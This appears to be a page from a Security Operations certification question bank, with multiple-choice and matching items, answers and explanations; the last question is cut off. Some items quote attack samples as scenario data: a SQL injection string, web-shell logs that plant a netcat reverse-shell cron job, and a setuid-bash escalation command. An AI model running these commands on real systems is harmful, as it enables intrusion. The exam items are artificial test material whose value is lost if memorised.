Security Operations

627 questions

All types627 Multiple choice320 Multiple select139 Matching36 Ordering132

An incident response team is performing live forensic evidence acquisition on a cloud-hosted virtual machine suspected of being compromised during a data exfiltration attempt. Which of the following actions must the team perform to preserve evidence integrity and maintain a legally defensible chain of custody? (Select TWO.)

Select all that apply

Calculate and record SHA-256 cryptographic hash values for all captured memory images and system log files immediately following acquisition.

Reboot the virtual machine to clear volatile swap space before capturing the primary storage volume image.

Document every evidence transfer, custodian handoff, timestamp, and secure storage location on a standardized evidence log.

Encrypt the live source storage volume using a public key certificate prior to imaging to enforce non-repudiation.

Show answer & explanation

Answer: Calculate and record SHA-256 cryptographic hash values for all captured memory images and system log files immediately following acquisition.; Document every evidence transfer, custodian handoff, timestamp, and secure storage location on a standardized evidence log.

Answer

The incident response team must record cryptographic SHA-256 hash values immediately after acquiring evidence and maintain a detailed evidence tracking log documenting every custodian handoff, date, and storage location.

Generating cryptographic hash values immediately upon evidence capture provides a verifiable baseline to prove data integrity. Concurrently, maintaining an explicit chain of custody log detailing every handler, transfer date, and storage location ensures an unbroken line of accountability required for evidence admissibility.

Step-by-Step Solution

Identify requirements for digital evidence preservation and chain of custody.

Proper forensic handling requires verifying data integrity without altering source data and maintaining complete accountability for evidence handling.

Evidence must be verifiable and legally defensible in formal investigations.

Evaluate integrity verification controls.

Calculating cryptographic hashes (e.g., SHA-256) right after collection creates an immutable baseline to detect tampering.

Hashing demonstrates that evidence matching the baseline hash has remained unaltered.

Evaluate chain of custody documentation controls.

Recording all evidence handoffs, custodian names, dates, and locations maintains an unbroken record of control.

Chain of custody documentation accounts for evidence handling from seizure through presentation.

Key Concept

Digital Forensics Integrity Verification and Chain of Custody

Question 402Question →

A network security analyst reviews an intrusion detection alert showing an incoming HTTP GET request containing the payload `SELECT * FROM accounts WHERE user_id = '1' OR '1'='1'`. A analyst team member flags the alert as a Cross-Site Scripting (XSS) event. Which of the following best describes why this alert interpretation is incorrect?

The payload targets backend database query execution rather than executing malicious scripts within a target user's web browser.

The alert payload represents a Cross-Site Scripting vector because SQL commands are executed on the client browser.

The alert should be categorized as a compensating control failure because the network perimeter firewall permitted the HTTP request.

The alert represents a honeypot deployment failure because the network intrusion detection system did not automatically divert traffic to a decoy host.

Show answer & explanation

Answer: The payload targets backend database query execution rather than executing malicious scripts within a target user's web browser.

Answer

The payload targets backend database query execution rather than executing malicious scripts within a target user's web browser.

The correct answer highlights that SQL injection attacks attempt to manipulate structured database queries executed on backend database servers. Cross-Site Scripting (XSS), by contrast, relies on injecting client-side scripts (such as JavaScript) that execute in the context of an end user's browser.

Step-by-Step Solution

Analyze the alert payload

Identified database query commands (`SELECT * FROM accounts WHERE user_id = '1' OR '1'='1'`).

Recognizing database syntax is necessary to classify the attack vector accurately.

Compare SQL Injection and Cross-Site Scripting characteristics

SQL Injection targets backend database manipulation, while XSS targets client-side browser script execution.

Differentiating backend database command execution from client-side script execution clarifies the misdiagnosis.

Key Concept

Distinguishing SQL Injection from XSS in Network Security Monitoring Alerts

Estimated Time:45s

Question 403Question →

A security operations team is updating its vulnerability management strategy across diverse operational environments. Match each vulnerability scanning methodology on the left to the enterprise scenario on the right that best justifies its deployment.

Click a left item, then click its matching right item

Show answer & explanation

Answer

Host-based Agent Scanning pairs with auditing roaming remote endpoints; Passive Network Monitoring pairs with identifying assets on sensitive SCADA networks; Authenticated Network Scanning pairs with assessing hosts via service accounts without local agents; Intrusive Active Scanning pairs with verifying exploitability in staging environments despite potential crash risks.

Matching scanning methodologies to enterprise environments requires balancing operational risk, network architecture, credential access, and intrusive potential. Host-based agents cater to remote endpoints; passive monitoring protects sensitive OT/SCADA devices; authenticated network scans gather detailed host data remotely without agents; and intrusive active scans confirm exploitability where downtime is tolerable.

Step-by-Step Solution

Analyze the connectivity constraints of remote/roaming devices.

Devices outside the network perimeter require host-installed agents to collect local configuration and patch data independently of network location.

Traditional network scans cannot reliably reach hosts operating outside internal subnets.

Evaluate the sensitivity of SCADA and industrial control systems (ICS).

Non-intrusive, passive monitoring via SPAN/TAP ports is required to prevent crash events caused by active network probes.

Legacy embedded systems often fail when receiving non-standard or heavy probe traffic.

Assess agentless internal host vulnerability auditing requirements.

Authenticated network scanning leverages valid credentials to query missing patches remotely without host software installation overhead.

Using service account credentials reduces false positives compared to unauthenticated port scans while avoiding endpoint agent deployment.

Differentiate non-intrusive vulnerability discovery from intrusive exploit verification.

Intrusive scanning executes payload tests to confirm exploitability (such as RCE), acceptable primarily in non-production or staging environments.

Intrusive methods simulate actual attack vectors and may destabilize target applications.

Key Concept

Selecting Vulnerability Assessment and Scanning Methodologies Based on Operational Risk and Environmental Constraints

Estimated Time:2m 0s

Question 404Question →

A security technician needs to conduct an internal vulnerability scan across local workstations to accurately audit operating system patch levels and local registry configurations while minimizing network traffic overhead. Which of the following scan methods should the technician select?

Credentialed vulnerability scan

Non-credentialed vulnerability scan

Intrusive penetration test

Inline web application firewall assessment

Show answer & explanation

Answer: Credentialed vulnerability scan

Answer

Credentialed vulnerability scan

Credentialed vulnerability scans authenticate directly to the target system using valid user or service credentials. This enables the scanner to inspect internal file versions, installed updates, and registry configurations directly on the host, producing highly accurate results with minimal network traffic.

Step-by-Step Solution

Identify the goal and constraints of the scanning request

The goal is to inspect local OS patch levels and registry configurations with minimal network bandwidth usage.

Accurate patch and registry checks require internal access to host operating system details.

Compare scanning access modes

Credentialed scans utilize user/administrative privileges to query the host locally, whereas non-credentialed scans infer vulnerabilities externally through exposed network ports.

Credentialed scanning provides deeper visibility with significantly fewer probe packets sent over the network.

Select the appropriate scanning technique

The credentialed vulnerability scan fulfills all auditing and low-overhead requirements.

It directly accesses internal system information without attempting disruptive exploitation.

Key Concept

Credentialed vs. Non-Credentialed Vulnerability Scanning

Question 405Question →

A security analyst in a SOC detects unauthorized PowerShell script execution originating from an HR department workstation that is actively communicating with an external command-and-control server. The analyst immediately isolates the workstation from the enterprise network using the EDR console. According to standard incident response frameworks, which of the following actions should the analyst perform NEXT?

Preserve volatile memory and collect forensic evidence to analyze the persistence mechanism.

Re-image the workstation's hard drive and restore user files from the most recent system backup.

Deploy automated network-wide removal scripts targeting self-propagating worm binaries.

Deploy Web Application Firewall rules to block cross-site scripting payloads across external portals.

Show answer & explanation

Answer: Preserve volatile memory and collect forensic evidence to analyze the persistence mechanism.

Answer

Preserve volatile memory and collect forensic evidence to analyze the persistence mechanism.

Under standard incident response frameworks (such as NIST SP 800-61), once containment is achieved via network isolation, responders must capture volatile evidence (RAM, active connections, running processes) and conduct root-cause analysis before carrying out eradication or recovery activities.

Step-by-Step Solution

Identify the completed incident response phase from the scenario context.

Network isolation of the workstation has been completed, fulfilling the containment objective.

Determining the current status within the IR lifecycle (Preparation -> Detection & Analysis -> Containment -> Eradication -> Recovery -> Lessons Learned) establishes proper operational sequencing.

Determine the mandatory actions required before modifying host state.

Preserve RAM and volatile forensic evidence while the host is contained but powered on.

Capturing volatile memory and system artifacts is vital for identifying root cause, privilege escalation pathways, and scope of compromise prior to system wipe.

Select the response that conducts analysis and evidence preservation following containment.

Collecting volatile memory and forensic evidence is the appropriate next step.

It aligns strictly with NIST SP 800-61 guidelines for investigation before moving to eradication.

Key Concept

Incident Response Lifecycle Phase Progression and Evidence Preservation

Question 406Question →

During an incident investigation on a Linux developer workstation, a security analyst discovers that an attacker is running fileless malware directly within volatile memory using native utility process injection. Legacy antivirus software failed to trigger an alert because no file was written to the disk drive. Which of the following core capabilities of an Endpoint Detection and Response (EDR) platform allows it to detect and respond to this attack?

Continuous behavioral telemetry monitoring and process execution tracking

Deploying updated static file signature definitions to disk scanners

Applying ingress network filtering rules at the perimeter firewall

Enforcing deep packet inspection on encrypted network transport streams

Show answer & explanation

Answer: Continuous behavioral telemetry monitoring and process execution tracking

Answer

Continuous behavioral telemetry monitoring and process execution tracking

Continuous behavioral telemetry monitoring and process execution tracking is correct because EDR agents record real-time system events, process relationships, and volatile memory activity. This allows the system to identify anomalies such as process injection and fileless execution even when no malicious file resides on local storage.

Step-by-Step Solution

Analyze the attack vector described in the scenario

Identified fileless malware executing directly in volatile memory via process injection without dropping files to disk.

Understanding that legacy antivirus relies on static file signatures explains why traditional disk scanning failed.

Evaluate EDR capabilities against memory-resident threats

EDR records real-time host telemetry, monitoring process creation, API system calls, and memory anomalies.

Behavioral detection isolates abnormal process interactions even when no malicious file is present on the storage drive.

Select the appropriate security control

Continuous behavioral monitoring is the primary mechanism within EDR for detecting fileless execution.

Host-based behavioral analysis addresses endpoint memory execution directly, unlike network controls or static file scanners.

Key Concept

EDR Behavioral Monitoring vs. Legacy Signature-Based Antivirus

Question 407Question →

A security operations analyst is investigating correlated SIEM log entries recorded from a Linux-based web server. The log management repository captured the following chronological event logs:

[Nginx Web Access Log]
192.168.10.45 - - [27/Jul/2026:11:14:02 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 4522
192.168.10.45 - - [27/Jul/2026:11:14:15 +0000] "GET /uploads/avatar.php?cmd=whoami HTTP/1.1" 200 34
192.168.10.45 - - [27/Jul/2026:11:14:28 +0000] "GET /uploads/avatar.php?cmd=echo+%22%2A%2F5+%2A+%2A+%2A+%2A+root+nc+-e+%2Fbin%2Fbash+192.168.10.45+4444%22+%3E%3E+%2Fetc%2Fcrontab HTTP/1.1" 200 12

[Syslog / Cron Execution Log]
Jul 27 11:15:01 webserver CRON[4821]: (root) CMD (nc -e /bin/bash 192.168.10.45 4444)

Based on the log data, which of the following statements accurately describe the actions performed by the threat actor? (Select TWO.)

Select all that apply

The adversary leveraged a web shell payload uploaded to the web server directory to execute arbitrary system commands.

The adversary established system persistence by appending a malicious scheduled task (cron job) that initiates an outbound reverse shell.

The attack represents a Cross-Site Scripting (XSS) exploit targeting client-side browser session state.

The incident indicates a database SQL injection flaw where backend database tables were compromised via unvalidated authentication parameters.

Show answer & explanation

Answer: The adversary leveraged a web shell payload uploaded to the web server directory to execute arbitrary system commands.; The adversary established system persistence by appending a malicious scheduled task (cron job) that initiates an outbound reverse shell.

Answer

The attack involved utilizing an uploaded web shell to run operating system commands and appending a malicious job to /etc/crontab to establish persistence via an outbound reverse shell.

The correlated logs demonstrate two critical adversary actions: first, the adversary used an uploaded PHP script as a web shell to execute shell commands remotely over HTTP. Second, the adversary wrote a recurring job to /etc/crontab to spawn a reverse shell connection via Netcat, establishing persistent control over the host server.

Step-by-Step Solution

Analyze the Nginx web access log entries

Identified POST request uploading 'avatar.php' followed by GET requests passing OS commands inside the 'cmd' query parameter (e.g., 'whoami').

This behavior demonstrates remote command execution via a deployed web shell script.

Inspect the URL-encoded command payload

Decoded `%2A%2F5` as `*/5` and `%3E%3E+%2Fetc%2Fcrontab` as `>> /etc/crontab`, which writes a cron schedule calling Netcat (`nc -e /bin/bash`).

Writing scheduled tasks to configuration files is a standard method for maintaining persistent access across system reboots or log clearances.

Correlate Nginx web events with Linux syslog entries

Syslog entry at 11:15:01 confirms CRON executed `nc -e /bin/bash 192.168.10.45 4444` as the root user.

Correlating timestamped logs across different service subsystems validates that the malicious cron job successfully triggered an outbound reverse connection.

Key Concept

Log Correlation and Web Shell/Persistence Detection

Question 408Question →

A security administrator is auditing authentication and access logs from an enterprise remote access gateway for external contractors:

[2026-07-27 10:14:02] RADIUS-AUTH: User 'contractor_jb' LDAP authentication SUCCESS.
[2026-07-27 10:14:03] MFA-SVC: User 'contractor_jb' TOTP verification SUCCESS.
[2026-07-27 10:14:03] RADIUS-AUTH: Network Access Policy evaluation: User group 'Vendor-Temp' assigned VLAN 102.
[2026-07-27 10:14:05] RADIUS-AUTH: Authorization OVERRIDE: Local static table mapped 'contractor_jb' to 'Domain Admins' (VLAN 10).
[2026-07-27 10:14:06] VPN-GW: Session established for 'contractor_jb' with Administrative Privileges on VLAN 10.

Based on the log analysis, which of the following root causes and operational remediation actions are correct? (Select TWO.)

Select all that apply

An authorization control failure occurred because a local RADIUS server mapping superseded centralized Directory role assignment, resulting in excessive privileges.

The security administrator must remove static local authorization overrides on the RADIUS server to enforce centralized least-privilege role assignment.

An authentication protocol failure occurred because LDAP credential verification was bypassed in favor of TOTP token validation.

The local override setting should be classified as a detective security control failure rather than a preventive authorization policy misconfiguration.

Show answer & explanation

Answer: An authorization control failure occurred because a local RADIUS server mapping superseded centralized Directory role assignment, resulting in excessive privileges.; The security administrator must remove static local authorization overrides on the RADIUS server to enforce centralized least-privilege role assignment.

Answer

The incident stems from an authorization control failure where local RADIUS static mapping tables overridden centralized group assignment, granting administrative privileges. To remediate this, the administrator must eliminate local static authorization overrides to enforce centralized least privilege.

The log explicitly demonstrates that both primary authentication (LDAP) and secondary authentication (TOTP MFA) succeeded. However, after the network access policy initially assigned the temporary vendor group profile, a local static table on the RADIUS server performed an authorization override to 'Domain Admins'. Removing local static overrides ensures that authorization rights remain aligned with centralized directory roles.

Step-by-Step Solution

Analyze authentication entries in the log.

LDAP authentication and TOTP MFA verification both succeeded for 'contractor_jb' at 10:14:02 and 10:14:03.

Confirms identity verification (AAA authentication phase) functioned properly.

Evaluate authorization processing entries.

Network Access Policy evaluated the group 'Vendor-Temp' (VLAN 102), but a subsequent local static table entry overridden the authorization assignment to 'Domain Admins' (VLAN 10).

Identifies that local configuration overrides defeated centralized role-based access control.

Determine appropriate operational remediation.

Remove local static table overrides on the RADIUS server.

Restores centralized directory-driven authorization and enforces least privilege.

Key Concept

RADIUS Centralized Authorization vs. Local Server Overrides in IAM Operations

Question 409Question →

A security analyst is establishing passive network security monitoring across a corporate local area network to monitor traffic without interrupting active host operations or injecting network probes. Which TWO of the following techniques represent passive network monitoring methods?

Select all that apply

Capturing and analyzing frame traffic replicated from a network switch SPAN port

Collecting NetFlow and IPFIX telemetry records exported by network routers

Executing scheduled synthetic Nmap port sweeps to query active host responses across all internal subnets

Deploying a interactive network honeypot to dynamically intercept and block unauthorized inbound packet flows

Show answer & explanation

Answer: Capturing and analyzing frame traffic replicated from a network switch SPAN port; Collecting NetFlow and IPFIX telemetry records exported by network routers

Answer

Capturing frame traffic via a switch SPAN port and collecting NetFlow telemetry from routers are passive monitoring methods.

Passive network monitoring relies on reading existing network traffic without generating additional packets or modifying traffic flows. Replicating switch traffic using a SPAN port and aggregating NetFlow telemetry exported by network routers both inspect network activity passively.

Step-by-Step Solution

Identify the operational requirement for passive network security monitoring.

Passive monitoring mechanisms observe existing traffic streams without generating synthetic traffic probes or inline network latency.

Ensures monitoring tools collect network telemetry without risk of disrupting host services.

Evaluate candidate monitoring methods for passive operation.

SPAN port mirroring duplicates layer 2/3 traffic to a sensor silently, while NetFlow exports flow statistics compiled natively by routers.

Both methods operate in read-only telemetry modes.

Key Concept

Passive vs. Active Network Security Monitoring

Question 410Question →

An enterprise organization operating an immutable containerized infrastructure discovers a critical zero-day vulnerability in its base operating system image across multiple microservices. What is the correct chronological sequence of steps the security operations team must perform to remediate this vulnerability while maintaining configuration integrity and change control compliance?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with identifying affected container repositories using SBOM telemetry, updating base image directives in source manifests, executing automated regression testing in a staging environment, obtaining formal Change Advisory Board authorization backed by test metrics and rollback plans, and concluding with a canary deployment to production accompanied by continuous configuration baseline auditing.

The sequence correctly reflects standard enterprise patch management for immutable environments: initial asset scoping using Software Bill of Materials (SBOM) data occurs first; updates are committed to Infrastructure-as-Code manifests; pre-deployment automated regression testing in staging provides the mandatory verification evidence needed for Change Advisory Board (CAB) approval; and production deployment proceeds via canary release paired with ongoing configuration drift auditing.

Step-by-Step Solution

Inventory and scope analysis

Identification of all vulnerable container image dependencies across microservices

Scoping via SBOM data ensures accurate mapping of all affected artifacts before initiating code alterations.

Infrastructure-as-Code (IaC) configuration update

Updated base image version committed to source repository development branch

Immutable infrastructure dictates that patches are declared in source code manifests rather than applied to active workloads.

Pre-deployment validation in staging

Empirical confirmation of patch stability and security control effectiveness

Staging verification prevents broken builds or incompatible patches from impacting live enterprise operations.

Change control governance

Formal approval granted by the Change Advisory Board (CAB)

Enterprise governance requires empirical test documentation and risk mitigation plans prior to production release.

Production rollout and baseline auditing

Controlled canary rollout and ongoing detection of configuration drift

Gradual rollout mitigates deployment blast radius, while ongoing auditing ensures production containers match the approved baseline.

Key Concept

Enterprise Patch and Configuration Management Lifecycle for Immutable Infrastructure

Question 411Question →

A Security Operations Center (SOC) team is designing an automated Security Orchestration, Automation, and Response (SOAR) playbook to mitigate Active Directory Kerberoasting attacks detected by SIEM log correlations. The attack patterns involve rapid requests for Service Principal Name (SPN) tickets across domain accounts. If the SOAR playbook executes unvalidated credential resets across all flagged accounts, critical production services using Group Managed Service Accounts (gMSAs) will experience severe outages. Which of the following playbook logic designs correctly balances automated response speed with operational risk mitigation for Tier-0 identity infrastructure?

Implement conditional branching that parses asset tags and account attributes, automatically enforcing ticket-granting restrictions on standard user accounts while routing service account remediation to a Human-in-the-Loop (HITL) approval queue.

Configure an immediate, unconditioned execution step that forces a domain-wide password reset and session invalidation for every account associated with a requested SPN upon initial alert detection.

Deploy an inline host-based firewall rule on all Domain Controllers via SOAR webhook API calls to block port 88 (Kerberos) traffic globally whenever ticket request thresholds are breached.

Replace the SOAR API connector's OAuth 2.0 bearer token authentication with static API keys to grant the orchestrator administrative rights to decrypt Kerberos ticket payloads directly.

Show answer & explanation

Answer: Implement conditional branching that parses asset tags and account attributes, automatically enforcing ticket-granting restrictions on standard user accounts while routing service account remediation to a Human-in-the-Loop (HITL) approval queue.

Answer

The correct playbook logic uses conditional branching based on asset tags and account types, automating containment for standard user accounts while utilizing Human-in-the-Loop (HITL) approvals for critical service accounts.

The option advocating conditional branching combined with Human-in-the-Loop (HITL) approval correctly balances threat containment with business continuity. By distinguishing between standard user accounts and mission-critical Group Managed Service Accounts (gMSAs), the SOAR playbook can rapidly restrict compromised user tickets while preventing catastrophic outages on Tier-0 identity infrastructure.

Step-by-Step Solution

Evaluate operational impact vs automated containment speed

Identified that automated actions on critical service accounts (gMSAs) present severe downtime risks.

SOAR playbooks must account for asset criticality to prevent self-inflicted outages during automated response.

Implement conditional logic and enrichment in the SOAR workflow

Branch workflow paths based on account classification (user vs service account).

Enables immediate automated isolation for low-impact user accounts while protecting critical infrastructure.

Integrate Human-in-the-Loop (HITL) safeguards

Require manual analyst authorization before executing disruptive changes on service accounts.

Provides a safety check for high-tier assets while preserving overall response orchestration efficiency.

Key Concept

SOAR Playbook Design and Operational Risk Safeguards

Question 412Question →

A security analyst is preparing to roll out a critical operating system update across an enterprise environment. To minimize operational risk and prevent application incompatibility during deployment, which of the following actions should be performed FIRST?

Deploy the update directly to primary production servers during peak business hours.

Test the update in a representative non-production staging environment.

Modify perimeter firewall rules to block inbound traffic from external patch repositories.

Disable host-based logging services on target servers to speed up installation.

Show answer & explanation

Answer: Test the update in a representative non-production staging environment.

Answer

Testing the update in a representative non-production staging environment.

Testing patches in a representative staging environment ensures that potential software conflicts, performance issues, or system crashes are identified and resolved before updates are introduced into live operational environments.

Step-by-Step Solution

Identify the primary goal of patch management testing controls.

Recognize that software patches must be validated prior to broad deployment to avoid unexpected downtime.

Unvalidated patches may introduce bugs or break critical dependencies.

Determine the appropriate initial environment for patch execution.

Select a isolated staging or sandbox environment that mirrors production configurations.

Staging testing confirms stability and application compatibility safely before production rollout.

Key Concept

Patch Testing and Staging Environment Validation

Estimated Time:1m 0s

Question 413Question →

A Security Operations Center (SOC) team is designing an automated workflow to revoke access tokens across multiple cloud services whenever a credential leak is detected. Which component of a Security Orchestration, Automation, and Response (SOAR) platform executes these predefined, multi-step actions across disparate security tools?

Automated playbooks

Threat intelligence feeds

Role-based access control policies

Manual containment procedures

Show answer & explanation

Answer: Automated playbooks

Answer

Automated playbooks execute predefined multi-step actions across disparate security tools within a SOAR platform.

Automated playbooks within a SOAR platform sequence and execute predefined actions—such as calling APIs to revoke tokens or block IP addresses—across integrated platforms without manual intervention.

Step-by-Step Solution

Identify the operational requirement in the scenario.

The scenario describes executing predefined, automated multi-step response actions across multiple cloud services and security systems.

Understanding the need for programmatic action across distinct security tools isolates the core orchestration function.

Evaluate the role of SOAR components.

SOAR platforms use playbooks to codify incident response processes into automated workflows.

Playbooks integrate with APIs to automate complex remediation tasks such as revoking tokens or isolating hosts.

Key Concept

SOAR Automated Playbooks

Question 414Question →

A security administrator needs to apply a critical security update to enterprise web servers. What is the correct sequence of steps the administrator should follow to complete the patch management workflow?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence for the patch management process is: 1) Identify and acquire the security patch, 2) Validate and test the patch in a non-production staging environment, 3) Submit a change request for approval by the Change Advisory Board, and 4) Deploy the patch to production servers.

The standard enterprise patch management lifecycle progresses logically from patch discovery and acquisition, to non-production staging validation, followed by formal governance approval from the Change Advisory Board, and concluding with scheduled deployment to production systems.

Step-by-Step Solution

Identify and acquire the security patch from a verified vendor source.

The authentic security update is retrieved and verified.

You must obtain and verify the update before testing or scheduling deployment.

Validate and test the security patch in a non-production staging environment.

Patch stability, performance impact, and compatibility are verified.

Staging validation detects software conflicts without jeopardizing live production services.

Submit a change request for review and approval by the Change Advisory Board (CAB).

Formal authorization and back-out plans are officially documented and approved.

Enterprise change governance requires technical test evidence before approving live modifications.

Deploy the patch to production servers during an authorized maintenance window.

Production systems are updated with minimal disruption to users.

Deployment occurs only after validation and governance requirements are fully satisfied.

Key Concept

Standard Enterprise Patch Management Lifecycle

Question 415Question →

A security operations analyst is investigating an unauthorized privilege escalation incident on a critical Linux database server. A database administrator checked out temporary, just-in-time (JIT) root access through the enterprise Privileged Access Management (PAM) vault to conduct routine maintenance. Reviewing the target server's local `/var/log/secure` logs alongside the PAM gateway logs reveals the following entries:

[PAM Gateway] 14:02:11 UTC - JIT Session #8942 initiated for User 'db_admin_01' -> Target: db01.corp.internal (SSH proxy port 2222)
[PAM Gateway] 14:02:12 UTC - MFA Challenge SUCCESS (FIDO2 Security Key)
[Target syslog] 14:02:12 UTC - sshd[4102]: Accepted publickey for db_admin_01 from 10.200.15.5 (PAM Proxy) port 48110 ssh2
[Target syslog] 14:15:33 UTC - sshd[4891]: Accepted password for db_admin_01 from 10.200.45.118 (Dev Subnet) port 51204 ssh2
[Target syslog] 14:15:40 UTC - sudo[4910]: db_admin_01 : TTY=pts/2 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/chmod +s /bin/bash

Which of the following operational root causes BEST explains why the unauthorized secondary SSH session from 10.200.45.118 was established without going through the PAM gateway's MFA controls?

The local server retained static administrative credentials, allowing direct SSH authentication from unapproved source IPs bypassing proxy-enforced PAM workflow.

The perimeter firewall failed to perform continuous Layer 3 inspection to block non-proxy traffic originating from internal subnets.

The central Active Directory domain controller failed to authorize the role-based access control (RBAC) group policy update during the active JIT window.

The SIEM log ingestion engine failed to automatically correlate the timestamp offset between the PAM proxy and the target host syslog daemon.

Show answer & explanation

Answer: The local server retained static administrative credentials, allowing direct SSH authentication from unapproved source IPs bypassing proxy-enforced PAM workflow.

Answer

The target server retained static local administrative credentials, allowing direct SSH password authentication from unapproved IP addresses outside the PAM proxy pathway.

The root cause is that local password authentication remained active and configured with static credentials on the target host. Effective PAM deployments require that direct administrative access routes be locked down so that connections can ONLY originate from the PAM proxy using dynamically rotated or vault-managed credentials. Because static password login remained enabled, an actor possessing the password connected directly from an internal subnet (10.200.45.118), completely bypassing the PAM proxy and its enforced MFA controls.

Step-by-Step Solution

Analyze the log entries from the PAM gateway and target server.

The legitimate session at 14:02:12 UTC connected via the PAM Proxy (10.200.15.5) using public key authentication after FIDO2 MFA. The second session at 14:15:33 UTC connected directly from a developer workstation (10.200.45.118) using password authentication.

Tracing origin IPs and authentication methods reveals how the second connection bypassed the gateway.

Evaluate why the PAM vault proxy was bypassed.

PAM solutions enforce MFA and session recording by acting as an inline proxy. If target systems allow direct SSH access via static password credentials rather than restricting access strictly to short-lived SSH keys or proxy IPs, attackers can connect directly.

Identifying the operational flaw in credential management explains the security control failure.

Determine the necessary operational remediation.

Disable static local passwords, enforce SSH host key trust strictly with the PAM proxy, or utilize local account password vaulting/rotation to eliminate direct static logins.

Direct authentication paths must be remediated to ensure all administrative access routes through the PAM solution.

Key Concept

Privileged Access Management (PAM) Operational Hardening and Session Interception

Estimated Time:2m 0s

Question 416Question →

During a routine compliance evaluation, a security analyst reviews a credentialed vulnerability scan report for an internal server subnet holding sensitive payment data. The report identifies multiple critical operating system kernel vulnerabilities on the hosts. The network operations team argues that because an inline Intrusion Prevention System (IPS) and a Web Application Firewall (WAF) inspect all incoming traffic, the host-level patch deployment can be indefinitely deferred by relying on these edge defenses. Which of the following recommendations should the security analyst provide to properly address the risk?

Apply the missing operating system patches directly to the hosts during an authorized maintenance window, as network-level controls do not resolve host-based system vulnerabilities.

Update WAF and IPS signature rules to inspect internal traffic and suppress the vulnerability findings in subsequent scanner reports as mitigated compensating controls.

Reconfigure the vulnerability assessment tool to perform non-credentialed scans so that inline network security appliances can validate detective control capabilities.

Implement application-layer input sanitization routines at the database tier to prevent SQL injection exploits against operating system kernel functions.

Show answer & explanation

Answer: Apply the missing operating system patches directly to the hosts during an authorized maintenance window, as network-level controls do not resolve host-based system vulnerabilities.

Answer

Apply the missing operating system patches directly to the hosts during an authorized maintenance window, as network-level controls do not resolve host-based system vulnerabilities.

Credentialed vulnerability scans inspect the internal system state of hosts to detect unpatched software and missing OS updates directly. Network security controls such as WAFs and IPSs act as perimeter or compensating controls, but they do not alter or fix vulnerable local code. Therefore, applying the operating system patches during a scheduled maintenance window is the only action that fully remediates the vulnerability.

Step-by-Step Solution

Analyze the vulnerability scan type and findings.

The credentialed scan inspected internal system states directly and identified critical operating system kernel vulnerabilities.

Credentialed scans provide accurate, host-internal software flaw visibility regardless of perimeter network devices.

Evaluate the proposed mitigation alternative against security engineering principles.

IPS and WAF devices inspect network traffic but do not modify or fix flawed host software binaries.

Network controls are compensating controls that minimize exposure but do not remediate host vulnerabilities.

Determine the appropriate remediation path.

Remediate host operating system vulnerabilities directly via patch management during an approved maintenance window.

Host patching permanently eliminates the vulnerability, ensuring compliance and defense-in-depth.

Key Concept

Credentialed Vulnerability Scanning vs. Perimeter Compensating Controls

Estimated Time:2m 0s

Question 417Question →

During a legal discovery phase following a enterprise data breach investigation, opposing counsel challenges the admissibility of a forensic disk image, alleging that unauthorized modifications could have occurred while the evidence was stored in the forensic laboratory safe. Which of the following evidence handling practices provides the primary technical proof to refute this integrity challenge?

Comparing the cryptographic hash value calculated during evidence intake against a newly calculated hash of the stored image

Producing a digital signature from the chief security officer to establish non-repudiation of the initial drive seizure

Demonstrating that volatile system RAM was captured prior to creating the persistent disk image

Attaching a hardware write-blocker to the forensic workstation while presenting the evidence in court

Show answer & explanation

Answer: Comparing the cryptographic hash value calculated during evidence intake against a newly calculated hash of the stored image

Answer

Comparing the cryptographic hash value calculated during evidence intake against a newly calculated hash of the stored image provides the definitive proof of data integrity required to defeat court challenges.

Cryptographic hashing (such as SHA-256) is used in digital forensics to verify data integrity. Computing a hash value immediately after evidence acquisition and comparing it against a hash calculated at any later point (such as during trial or discovery) proves that the bit-stream forensic image has not been altered or tampered with during storage.

Step-by-Step Solution

Identify the specific forensic requirement challenged in the scenario

Opposing counsel is questioning evidence integrity (whether data was altered during storage).

Establishing chain of custody and evidence admissibility requires proving data integrity from acquisition through trial.

Evaluate technical controls for verifying bit-stream evidence integrity

Cryptographic hashing algorithms (like SHA-256 or MD5) generate a unique fixed-length digest of the entire image.

If even a single bit of the forensic image changes during storage, recalculating the hash will produce a completely different value.

Select the option that directly validates that no alteration occurred

Re-hashing the stored image and comparing it to the original hash recorded upon intake proves data integrity.

Matching hashes demonstrate beyond reasonable doubt that the evidence remained identical throughout the storage period.

Key Concept

Forensic Hash Verification and Integrity Enforcement

Question 418Question →

A security analyst is configuring a Security Orchestration, Automation, and Response (SOAR) playbook to automatically handle alerts triggered when a cloud IAM access key is exposed in a public repository. Arrange the automated response workflow steps into the correct chronological sequence from first step to final step.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct execution sequence begins with event ingestion and log enrichment, followed by automated identity containment (session revocation and policy denial), automated credential remediation (key rotation in secrets manager), and concludes with stakeholder notification and incident documentation.

The standard SOAR playbook lifecycle dictates that alerts must first be enriched with contextual log data. Once scope is established, automated containment actions (revoking sessions and denying API actions) are applied to stop active exposure. Following successful isolation, remediation actions rotate credentials in secret stores, and finally, notification tasks update human analysts and close the automated ticket workflow.

Step-by-Step Solution

Perform initial ingestion and automated context enrichment.

Alert data is parsed and CloudTrail/audit logs are collected to quantify the scope of use of the leaked API key.

Enrichment provides necessary context on key usage before modifying permissions or terminating sessions.

Execute identity containment controls.

Active sessions created using the key are revoked and an inline explicit deny policy is bound to the identity.

Containment limits damage by ensuring an attacker cannot continue making authorized API calls.

Perform secret rotation and remediation.

A new API key pair is generated and securely injected into the enterprise secrets management vault.

Automated remediation restores operational functionality safely with fresh, secure credentials.

Notify stakeholders and close the automation workflow.

The application owner receives summary metrics and audit logs for final verification.

Documentation and communication complete the incident lifecycle within the SOAR framework.

Key Concept

SOAR Automated Incident Response Lifecycle

Question 419Question →

An enterprise network security engineer evaluates telemetry from a perimeter Network Intrusion Detection System (NIDS) and flow collector monitoring a secure database VLAN. The monitoring system flagged outbound encrypted connections over TCP port 443 originating from internal database server 10.0.4.15 toward an external destination.

Attribute	Value / Captured Telemetry
Source IP & Port	10.0.4.15 : 49152
Destination IP & Port	198.51.100.42 : 443
Flow Volume	Bytes Sent: 4,820,100 \	Bytes Received: 1,200
TLS Server Name Indication (SNI)	update.vendor-cloud-services.com
JA3 TLS Fingerprint	7715705b32eef410403f9b223bc6a136 (Known C2 toolkit hash)
Reverse DNS Lookup	host42.unknown-bulletproof-host.net

